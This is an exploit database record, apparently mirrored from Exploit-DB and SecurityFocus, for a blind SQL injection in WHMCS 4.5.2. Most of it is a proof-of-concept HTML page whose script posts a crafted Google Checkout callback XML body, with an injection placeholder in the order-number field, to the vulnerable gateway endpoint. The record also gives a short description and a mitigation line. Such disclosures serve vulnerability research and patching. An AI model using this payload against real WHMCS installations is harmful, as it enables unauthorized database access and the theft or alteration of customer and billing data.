WHMCS Blind SQL Injection POC

vendor:

WHM Complete Solution

by:

SecurityFocus

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: WHM Complete Solution

Affected Version From: 4.5.2

Affected Version To: 4.5.2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

WHMCS Blind SQL Injection POC

WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/56173/info

WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WHMCS 4.5.2 is vulnerable; other versions may also be affected. 

#Proof of Concept : 

<html>
<head>
<title>WHMCS Blind SQL Injection POC</title>
</head>
<body>
<script>
var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTION HERE% -- -</google-order-number><new-fulfillment-order-state>charge-amount-notification</new-fulfillment-order-state></charge-amount-notification>";
    var http = new XMLHttpRequest();
 try {
        netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
    } catch (e) {
        alert("Permission UniversalBrowserRead denied.");
    }
    http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true);
    http.onreadystatechange = handleResponse;
    http.send(params);
function handleResponse() {

  if(http.readyState == 4 && http.status == 200){
    var response = http.responseText;
alert(response);
    }
  }  
</script>
</body>
</html>